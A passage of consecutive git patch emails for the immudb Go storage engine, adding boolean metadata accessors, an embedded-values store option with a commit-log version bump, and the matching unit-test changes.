for vLogID, offset := range tombstones { - vlog := s.fetchVLog(vLogID) + vlog, err := s.fetchVLog(vLogID) + if err != nil { + merr.Append(err) + continue + } defer s.releaseVLog(vLogID) + s.logger.Infof("truncating vlog '%d' at offset '%d'", vLogID, offset) - err := vlog.DiscardUpto(offset) + err = vlog.DiscardUpto(offset) merr.Append(err) } } From 9a5566226373d3aed0ce2e721beec7c728fec045 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 16 May 2023 16:51:13 -0300 Subject: [PATCH 0582/1062] chore(embedded/appendable): metadats with putBool Signed-off-by: Jeronimo Irazabal --- embedded/appendable/metadata.go | 46 ++++++++++++++++++++-------- embedded/appendable/metadata_test.go | 27 ++++++++++++---- 2 files changed, 54 insertions(+), 19 deletions(-) diff --git a/embedded/appendable/metadata.go b/embedded/appendable/metadata.go index 272f4306ba..b35dcb5e1c 100644 --- a/embedded/appendable/metadata.go +++ b/embedded/appendable/metadata.go @@ -71,9 +71,9 @@ func (m *Metadata) ReadFrom(r io.Reader) (int64, error) { } func (m *Metadata) WriteTo(w io.Writer) (n int64, err error) { - lenb := make([]byte, 4) - binary.BigEndian.PutUint32(lenb, uint32(len(m.data))) - wn, err := writeField(lenb, w) + var lenb [4]byte + binary.BigEndian.PutUint32(lenb[:], uint32(len(m.data))) + wn, err := writeField(lenb[:], w) n += int64(wn) if err != nil { @@ -100,19 +100,36 @@ func (m *Metadata) WriteTo(w io.Writer) (n int64, err error) { } func (m *Metadata) PutInt(key string, n int) { - b := make([]byte, 8) - binary.BigEndian.PutUint64(b, uint64(n)) - m.Put(key, b) + var b [8]byte + binary.BigEndian.PutUint64(b[:], uint64(n)) + m.Put(key, b[:]) } func (m *Metadata) GetInt(key string) (int, bool) { v, ok := m.Get(key) if !ok { - return 0, ok + return 0, false } return int(binary.BigEndian.Uint64(v)), true } +func (m *Metadata) PutBool(key string, v bool) { + var b [1]byte + if v { + b[0] = 1 + } + + m.Put(key, b[:]) +} + +func (m *Metadata) GetBool(key string) (bool, bool) { + v, ok := m.Get(key) + if !ok { + return false, false + } + return v[0] != 0, true +} + func (m *Metadata) Put(key string, value []byte) { m.data[key] = value } @@ -123,12 +140,14 @@ func (m *Metadata) Get(key string) ([]byte, bool) { } func readField(r io.Reader) ([]byte, error) { - lenb := make([]byte, 4) - _, err := r.Read(lenb) + var lenb [4]byte + + _, err := r.Read(lenb[:]) if err != nil { return nil, err } - len := binary.BigEndian.Uint32(lenb) + + len := binary.BigEndian.Uint32(lenb[:]) fb := make([]byte, len) _, err = r.Read(fb) @@ -140,9 +159,10 @@ func readField(r io.Reader) ([]byte, error) { } func writeField(b []byte, w io.Writer) (n int, err error) { - lenb := make([]byte, 4) - binary.BigEndian.PutUint32(lenb, uint32(len(b))) - wn, err := w.Write(lenb) + var lenb [4]byte + + binary.BigEndian.PutUint32(lenb[:], uint32(len(b))) + wn, err := w.Write(lenb[:]) n += wn if err != nil { return n, err diff --git a/embedded/appendable/metadata_test.go b/embedded/appendable/metadata_test.go index 410955f420..fdb9521060 100644 --- a/embedded/appendable/metadata_test.go +++ b/embedded/appendable/metadata_test.go @@ -41,28 +41,43 @@ func (w *mockedIOWriter) Write(b []byte) (int, error) { func TestMedatada(t *testing.T) { md := NewMetadata(nil) - _, found := md.Get("key") + _, found := md.Get("intKey") require.False(t, found) - _, found = md.GetInt("key") + _, found = md.GetInt("intKey") + require.False(t, found) + + _, found = md.Get("boolKey") + require.False(t, found) + + _, found = md.GetBool("boolKey") require.False(t, found) for i := 0; i < 10; i++ { - md.PutInt(fmt.Sprintf("key_%d", i), i) + md.PutInt(fmt.Sprintf("intKey_%d", i), i) + md.PutBool(fmt.Sprintf("boolKey_%d", i), i%2 == 0) } for i := 0; i < 10; i++ { - v, found := md.GetInt(fmt.Sprintf("key_%d", i)) + iv, found := md.GetInt(fmt.Sprintf("intKey_%d", i)) require.True(t, found) - require.Equal(t, i, v) + require.Equal(t, i, iv) + + bv, found := md.GetBool(fmt.Sprintf("boolKey_%d", i)) + require.True(t, found) + require.Equal(t, i%2 == 0, bv) } md1 := NewMetadata(md.Bytes()) for i := 0; i < 10; i++ { - v, found := md1.GetInt(fmt.Sprintf("key_%d", i)) + v, found := md1.GetInt(fmt.Sprintf("intKey_%d", i)) require.True(t, found) require.Equal(t, i, v) + + bv, found := md.GetBool(fmt.Sprintf("boolKey_%d", i)) + require.True(t, found) + require.Equal(t, i%2 == 0, bv) } mockedReader := &mockedIOReader{} From 7037c42148743bd648f762b83b36a2ef8dc2d4a6 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 16 May 2023 16:57:46 -0300 Subject: [PATCH 0583/1062] feat(embedded/store): embedded values option Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 26 ++++++++++++++++++-------- embedded/store/options.go | 8 ++++++++ embedded/store/options_test.go | 1 + 3 files changed, 27 insertions(+), 8 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 8bc51af025..8bb60eb2f7 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -124,11 +124,12 @@ const Version = 1 const MaxTxHeaderVersion = 1 const ( - metaVersion = "VERSION" - metaMaxTxEntries = "MAX_TX_ENTRIES" - metaMaxKeyLen = "MAX_KEY_LEN" - metaMaxValueLen = "MAX_VALUE_LEN" - metaFileSize = "FILE_SIZE" + metaVersion = "VERSION" + metaMaxTxEntries = "MAX_TX_ENTRIES" + metaMaxKeyLen = "MAX_KEY_LEN" + metaMaxValueLen = "MAX_VALUE_LEN" + metaFileSize = "FILE_SIZE" + metaEmbeddedValues = "EMBEDDED_VALUES" ) const indexDirname = "index" @@ -240,6 +241,7 @@ func Open(path string, opts *Options) (*ImmuStore, error) { metadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen) metadata.PutInt(metaMaxValueLen, opts.MaxValueLen) metadata.PutInt(metaFileSize, opts.FileSize) + metadata.PutBool(metaEmbeddedValues, opts.EmbeddedValues) appendableOpts := multiapp.DefaultOptions(). WithReadOnly(opts.ReadOnly). @@ -304,6 +306,11 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable metadata := appendable.NewMetadata(cLog.Metadata()) + embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) + if !ok { + return nil, fmt.Errorf("corrupted commit log metadata (embedded values): %w", ErrCorruptedCLog) + } + fileSize, ok := metadata.GetInt(metaFileSize) if !ok { return nil, fmt.Errorf("corrupted commit log metadata (filesize): %w", ErrCorruptedCLog) @@ -506,6 +513,8 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable inmemPrecommittedAlh: precommittedAlh, precommittedTxLogSize: precommittedTxLogSize, + embeddedValues: embeddedValues, + readOnly: opts.ReadOnly, synced: opts.Synced, syncFrequency: opts.SyncFrequency, @@ -514,9 +523,10 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable maxWaitees: opts.MaxWaitees, maxConcurrency: opts.MaxConcurrency, maxIOConcurrency: opts.MaxIOConcurrency, - maxTxEntries: maxTxEntries, - maxKeyLen: maxKeyLen, - maxValueLen: maxInt(maxValueLen, opts.MaxValueLen), + + maxTxEntries: maxTxEntries, + maxKeyLen: maxKeyLen, + maxValueLen: maxValueLen, writeTxHeaderVersion: opts.WriteTxHeaderVersion, diff --git a/embedded/store/options.go b/embedded/store/options.go index 1e93f2f9e8..5932a91646 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -40,6 +40,7 @@ const DefaultFileMode = os.FileMode(0755) const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel +const DefaultEmbeddedValues = false const DefaultTxLogCacheSize = 1000 const DefaultVLogCacheSize = 0 const DefaultMaxWaitees = 1000 @@ -128,6 +129,7 @@ type Options struct { FileSize int CompressionFormat int CompressionLevel int + EmbeddedValues bool // options below affect indexing IndexOpts *IndexOptions @@ -228,6 +230,7 @@ func DefaultOptions() *Options { FileSize: DefaultFileSize, CompressionFormat: DefaultCompressionFormat, CompressionLevel: DefaultCompressionLevel, + EmbeddedValues: DefaultEmbeddedValues, IndexOpts: DefaultIndexOptions(), @@ -551,6 +554,11 @@ func (opts *Options) WithCompresionLevel(compressionLevel int) *Options { return opts } +func (opts *Options) WithEmbeddedValues(embeddedValues bool) *Options { + opts.EmbeddedValues = embeddedValues + return opts +} + func (opts *Options) WithIndexOptions(indexOptions *IndexOptions) *Options { opts.IndexOpts = indexOptions return opts diff --git a/embedded/store/options_test.go b/embedded/store/options_test.go index bd66b28d50..e906de3b15 100644 --- a/embedded/store/options_test.go +++ b/embedded/store/options_test.go @@ -134,6 +134,7 @@ func TestValidOptions(t *testing.T) { require.Equal(t, 2, opts.WithTxLogMaxOpenedFiles(2).TxLogMaxOpenedFiles) require.Equal(t, 3, opts.WithVLogMaxOpenedFiles(3).VLogMaxOpenedFiles) require.Equal(t, DefaultMaxWaitees, opts.WithMaxWaitees(DefaultMaxWaitees).MaxWaitees) + require.Equal(t, DefaultEmbeddedValues, opts.WithEmbeddedValues(DefaultEmbeddedValues).EmbeddedValues) timeFun := func() time.Time { return time.Now() From dc9eee45b4cdfa95e5c9cfd90c880832ae3e9300 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 16 May 2023 20:01:19 -0300 Subject: [PATCH 0584/1062] chore(embedded/store): embedded meta attribute required if version is greater than 1 Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 15 +++++++++++++-- embedded/store/immustore_test.go | 4 ++++ 2 files changed, 17 insertions(+), 2 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 8bb60eb2f7..02428c85fd 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -120,7 +120,9 @@ const lszSize = 4 const sszSize = 2 const offsetSize = 8 -const Version = 1 +// Version 2 includes `metaEmbeddedValues` into clog metadata +const Version = 2 + const MaxTxHeaderVersion = 1 const ( @@ -306,9 +308,18 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable metadata := appendable.NewMetadata(cLog.Metadata()) + version, ok := metadata.GetInt(metaVersion) + if !ok { + return nil, fmt.Errorf("corrupted commit log metadata (version): %w", ErrCorruptedCLog) + } + embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (embedded values): %w", ErrCorruptedCLog) + if version >= 2 { + return nil, fmt.Errorf("corrupted commit log metadata (embedded values): %w", ErrCorruptedCLog) + } + + embeddedValues = false } fileSize, ok := metadata.GetInt(metaFileSize) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 7036357977..64eb620227 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -348,6 +348,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail reading maxTxEntries from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) + md.PutInt(metaVersion, 1) md.PutInt(metaFileSize, 1) return md.Bytes() } @@ -359,6 +360,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail reading maxKeyLen from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) + md.PutInt(metaVersion, 1) md.PutInt(metaFileSize, 1) md.PutInt(metaMaxTxEntries, 4) return md.Bytes() @@ -371,6 +373,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail reading maxKeyLen from metadata", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) + md.PutInt(metaVersion, 1) md.PutInt(metaFileSize, 1) md.PutInt(metaMaxTxEntries, 4) md.PutInt(metaMaxKeyLen, 8) @@ -384,6 +387,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail reading cLogSize", func(t *testing.T) { cLog.MetadataFn = func() []byte { md := appendable.NewMetadata(nil) + md.PutInt(metaVersion, 1) md.PutInt(metaFileSize, 1) md.PutInt(metaMaxTxEntries, 4) md.PutInt(metaMaxKeyLen, 8) From 064769b24541bc8d9a6695f5fea01a000e8466ab Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 17 May 2023 14:31:29 -0300 Subject: [PATCH 0585/1062] chore(embedded/store): set embedded values mode as default one Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 48 +++--- embedded/store/immustore_test.go | 262 +++++++++++++++++-------------- embedded/store/options.go | 6 +- 3 files changed, 179 insertions(+), 137 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 02428c85fd..47a8d1b5c3 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -279,26 +279,34 @@ func Open(path string, opts *Options) (*ImmuStore, error) { } - vLogs := make([]appendable.Appendable, opts.MaxIOConcurrency) - appendableOpts.WithFileExt("val") - appendableOpts.WithCompressionFormat(opts.CompressionFormat) - appendableOpts.WithCompresionLevel(opts.CompressionLevel) - appendableOpts.WithMaxOpenedFiles(opts.VLogMaxOpenedFiles) - - for i := 0; i < opts.MaxIOConcurrency; i++ { - vLog, err := appFactory(path, fmt.Sprintf("val_%d", i), appendableOpts) - if err != nil { - return nil, err + var vLogs []appendable.Appendable + + if !opts.EmbeddedValues { + vLogs = make([]appendable.Appendable, opts.MaxIOConcurrency) + appendableOpts.WithFileExt("val") + appendableOpts.WithCompressionFormat(opts.CompressionFormat) + appendableOpts.WithCompresionLevel(opts.CompressionLevel) + appendableOpts.WithMaxOpenedFiles(opts.VLogMaxOpenedFiles) + + for i := 0; i < opts.MaxIOConcurrency; i++ { + vLog, err := appFactory(path, fmt.Sprintf("val_%d", i), appendableOpts) + if err != nil { + return nil, err + } + vLogs[i] = vLog } - vLogs[i] = vLog } return OpenWith(path, vLogs, txLog, cLog, opts) } func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable.Appendable, opts *Options) (*ImmuStore, error) { - if len(vLogs) == 0 || txLog == nil || cLog == nil { - return nil, ErrIllegalArguments + if txLog == nil || cLog == nil { + return nil, fmt.Errorf("%w: invalid txLog or cLog", ErrIllegalArguments) + } + + if (len(vLogs) == 0 && !opts.EmbeddedValues) || (len(vLogs) != 0 && opts.EmbeddedValues) { + return nil, fmt.Errorf("%w: invalid vLogs", ErrIllegalArguments) } err := opts.Validate() @@ -310,13 +318,13 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable version, ok := metadata.GetInt(metaVersion) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (version): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("corrupted commit log metadata (Version): %w", ErrCorruptedCLog) } embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) if !ok { if version >= 2 { - return nil, fmt.Errorf("corrupted commit log metadata (embedded values): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("corrupted commit log metadata (EmbeddedValues): %w", ErrCorruptedCLog) } embeddedValues = false @@ -324,22 +332,22 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable fileSize, ok := metadata.GetInt(metaFileSize) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (filesize): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("corrupted commit log metadata (FileSize): %w", ErrCorruptedCLog) } maxTxEntries, ok := metadata.GetInt(metaMaxTxEntries) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (max tx entries): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("corrupted commit log metadata (MaxTxEntries): %w", ErrCorruptedCLog) } maxKeyLen, ok := metadata.GetInt(metaMaxKeyLen) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (max key len): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("corrupted commit log metadata (MaxKeyLen): %w", ErrCorruptedCLog) } maxValueLen, ok := metadata.GetInt(metaMaxValueLen) if !ok { - return nil, fmt.Errorf("corrupted commit log metadata (max value len): %w", ErrCorruptedCLog) + return nil, fmt.Errorf("corrupted commit log metadata (MaxValueLen): %w", ErrCorruptedCLog) } @@ -1226,6 +1234,7 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader if s.embeddedValues { // value write is delayed to ensure values are inmediatelly followed by the associated tx header doneWithValuesCh <- appendableResult{nil, nil} + return } offsets, err := s.appendValuesIntoAnyVLog(otx.entries) @@ -1882,6 +1891,7 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 if s.embeddedValues { // value write is delayed to ensure values are inmediatelly followed by the associated tx header doneWithValuesCh <- appendableResult{nil, nil} + return } offsets, err := s.appendValuesIntoAnyVLog(otx.entries) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 64eb620227..807854b5f4 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -305,12 +305,14 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail when initiating appendables", func(t *testing.T) { for _, failedAppendable := range []string{"tx", "commit", "val_0"} { injectedError := fmt.Errorf("Injected error for: %s", failedAppendable) - _, err := Open(t.TempDir(), DefaultOptions().WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { - if subPath == failedAppendable { - return nil, injectedError - } - return &mocked.MockedAppendable{}, nil - })) + _, err := Open(t.TempDir(), DefaultOptions(). + WithEmbeddedValues(false). + WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { + if subPath == failedAppendable { + return nil, injectedError + } + return &mocked.MockedAppendable{}, nil + })) require.ErrorIs(t, err, injectedError) } }) @@ -341,7 +343,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return nil } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedCLog) }) @@ -353,7 +355,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return md.Bytes() } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedCLog) }) @@ -366,7 +368,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return md.Bytes() } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedCLog) }) @@ -380,7 +382,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return md.Bytes() } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedCLog) }) @@ -401,7 +403,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return 0, injectedError } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) @@ -415,7 +417,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return injectedError } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) @@ -427,7 +429,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return nil } - st, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + st, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.NoError(t, err) err = st.Close() @@ -442,7 +444,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return 0, injectedError } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) @@ -457,7 +459,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return 0, injectedError } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) @@ -475,7 +477,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return 0, injectedError } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) @@ -494,7 +496,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return 0, nil } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, ErrCorruptedTxData) }) @@ -509,7 +511,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { return 0, injectedError } - _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.ErrorIs(t, err, injectedError) }) @@ -523,27 +525,31 @@ func TestImmudbStoreEdgeCases(t *testing.T) { } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, - DefaultOptions().WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { - if strings.HasPrefix(subPath, "aht/") { - return nil, injectedError - } - return &mocked.MockedAppendable{}, nil - }), + DefaultOptions(). + WithEmbeddedValues(false). + WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { + if strings.HasPrefix(subPath, "aht/") { + return nil, injectedError + } + return &mocked.MockedAppendable{}, nil + }), ) require.ErrorIs(t, err, injectedError) }) t.Run("fail to initialize indexer", func(t *testing.T) { _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, - DefaultOptions().WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { - if strings.HasPrefix(subPath, "index/") { - return nil, injectedError - } - return &mocked.MockedAppendable{ - SizeFn: func() (int64, error) { return 0, nil }, - CloseFn: func() error { return nil }, - }, nil - }), + DefaultOptions(). + WithEmbeddedValues(false). + WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { + if strings.HasPrefix(subPath, "index/") { + return nil, injectedError + } + return &mocked.MockedAppendable{ + SizeFn: func() (int64, error) { return 0, nil }, + CloseFn: func() error { return nil }, + }, nil + }), ) require.ErrorIs(t, err, injectedError) }) @@ -554,91 +560,93 @@ func TestImmudbStoreEdgeCases(t *testing.T) { cLog.CloseFn = func() error { return nil } _, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, - DefaultOptions().WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { - nLog := &mocked.MockedAppendable{ - ReadAtFn: func(bs []byte, off int64) (int, error) { - buff := []byte{ - tbtree.LeafNodeType, - 0, 1, // One node - 0, 1, // Key size - 'k', // key - 0, 1, // Value size - 'v', // value - 0, 0, 0, 0, 0, 0, 0, 1, // Timestamp - 0, 0, 0, 0, 0, 0, 0, 0, // hOffs - 0, 0, 0, 0, 0, 0, 0, 0, // hSize - } - require.Less(t, off, int64(len(buff))) - return copy(bs, buff[off:]), nil - }, - SyncFn: func() error { return nil }, - CloseFn: func() error { return nil }, - } - - hLog := &mocked.MockedAppendable{ - SetOffsetFn: func(off int64) error { return nil }, - SizeFn: func() (int64, error) { - return 0, nil - }, - SyncFn: func() error { return nil }, - CloseFn: func() error { return nil }, - } - - switch subPath { - case "index/nodes": - return nLog, nil - case "index/history": - return hLog, nil - case "index/commit": - return &mocked.MockedAppendable{ - SizeFn: func() (int64, error) { - // One clog entry - return 100, nil - }, - AppendFn: func(bs []byte) (off int64, n int, err error) { - return 0, 0, nil - }, + DefaultOptions(). + WithEmbeddedValues(false). + WithAppFactory(func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { + nLog := &mocked.MockedAppendable{ ReadAtFn: func(bs []byte, off int64) (int, error) { - buff := [20 + 32 + 16 + 32]byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 33, 0, 0, 0, 33} - nLogChecksum, err := appendable.Checksum(nLog, 0, 33) - if err != nil { - return 0, err + buff := []byte{ + tbtree.LeafNodeType, + 0, 1, // One node + 0, 1, // Key size + 'k', // key + 0, 1, // Value size + 'v', // value + 0, 0, 0, 0, 0, 0, 0, 1, // Timestamp + 0, 0, 0, 0, 0, 0, 0, 0, // hOffs + 0, 0, 0, 0, 0, 0, 0, 0, // hSize } - copy(buff[20:], nLogChecksum[:]) - - hLogChecksum, err := appendable.Checksum(hLog, 0, 0) - if err != nil { - return 0, err - } - copy(buff[20+32+16:], hLogChecksum[:]) - require.Less(t, off, int64(len(buff))) return copy(bs, buff[off:]), nil }, - MetadataFn: func() []byte { - md := appendable.NewMetadata(nil) - md.PutInt(tbtree.MetaVersion, tbtree.Version) - md.PutInt(tbtree.MetaMaxNodeSize, tbtree.DefaultMaxNodeSize) - md.PutInt(tbtree.MetaMaxKeySize, tbtree.DefaultMaxKeySize) - md.PutInt(tbtree.MetaMaxValueSize, tbtree.DefaultMaxValueSize) - return md.Bytes() - }, + SyncFn: func() error { return nil }, + CloseFn: func() error { return nil }, + } + + hLog := &mocked.MockedAppendable{ SetOffsetFn: func(off int64) error { return nil }, - FlushFn: func() error { - return nil - }, - SyncFn: func() error { - return nil + SizeFn: func() (int64, error) { + return 0, nil }, + SyncFn: func() error { return nil }, CloseFn: func() error { return nil }, + } + + switch subPath { + case "index/nodes": + return nLog, nil + case "index/history": + return hLog, nil + case "index/commit": + return &mocked.MockedAppendable{ + SizeFn: func() (int64, error) { + // One clog entry + return 100, nil + }, + AppendFn: func(bs []byte) (off int64, n int, err error) { + return 0, 0, nil + }, + ReadAtFn: func(bs []byte, off int64) (int, error) { + buff := [20 + 32 + 16 + 32]byte{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 33, 0, 0, 0, 33} + nLogChecksum, err := appendable.Checksum(nLog, 0, 33) + if err != nil { + return 0, err + } + copy(buff[20:], nLogChecksum[:]) + + hLogChecksum, err := appendable.Checksum(hLog, 0, 0) + if err != nil { + return 0, err + } + copy(buff[20+32+16:], hLogChecksum[:]) + + require.Less(t, off, int64(len(buff))) + return copy(bs, buff[off:]), nil + }, + MetadataFn: func() []byte { + md := appendable.NewMetadata(nil) + md.PutInt(tbtree.MetaVersion, tbtree.Version) + md.PutInt(tbtree.MetaMaxNodeSize, tbtree.DefaultMaxNodeSize) + md.PutInt(tbtree.MetaMaxKeySize, tbtree.DefaultMaxKeySize) + md.PutInt(tbtree.MetaMaxValueSize, tbtree.DefaultMaxValueSize) + return md.Bytes() + }, + SetOffsetFn: func(off int64) error { return nil }, + FlushFn: func() error { + return nil + }, + SyncFn: func() error { + return nil + }, + CloseFn: func() error { return nil }, + }, nil + } + return &mocked.MockedAppendable{ + SizeFn: func() (int64, error) { return 0, nil }, + OffsetFn: func() int64 { return 0 }, + CloseFn: func() error { return nil }, }, nil - } - return &mocked.MockedAppendable{ - SizeFn: func() (int64, error) { return 0, nil }, - OffsetFn: func() int64 { return 0 }, - CloseFn: func() error { return nil }, - }, nil - }), + }), ) require.ErrorIs(t, err, ErrCorruptedCLog) }) @@ -673,7 +681,11 @@ func TestImmudbStoreEdgeCases(t *testing.T) { injectedError = fmt.Errorf("Injected error %d", i) checkApp.SyncFn = func() error { return injectedError } - store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithSyncFrequency(time.Duration(1)*time.Second)) + opts := DefaultOptions(). + WithEmbeddedValues(false). + WithSyncFrequency(time.Duration(1) * time.Second) + + store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, opts) require.NoError(t, err) var wg sync.WaitGroup @@ -709,7 +721,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { }) // Errors during close - store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.NoError(t, err) err = store.aht.Close() @@ -722,7 +734,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { injectedError = fmt.Errorf("Injected error %d", i) checkApp.CloseFn = func() error { return injectedError } - store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions()) + store, err := OpenWith(t.TempDir(), vLogs, txLog, cLog, DefaultOptions().WithEmbeddedValues(false)) require.NoError(t, err) err = store.Close() @@ -731,7 +743,11 @@ func TestImmudbStoreEdgeCases(t *testing.T) { checkApp.CloseFn = func() error { return nil } } - immuStore, err := Open(t.TempDir(), DefaultOptions().WithMaxConcurrency(1)) + opts := DefaultOptions(). + WithMaxConcurrency(1). + WithEmbeddedValues(false) + + immuStore, err := Open(t.TempDir(), opts) require.NoError(t, err) var zeroTime time.Time @@ -2266,9 +2282,13 @@ func TestReOpeningWithCompressionEnabledImmudbStore(t *testing.T) { func TestUncommittedTxOverwriting(t *testing.T) { path := 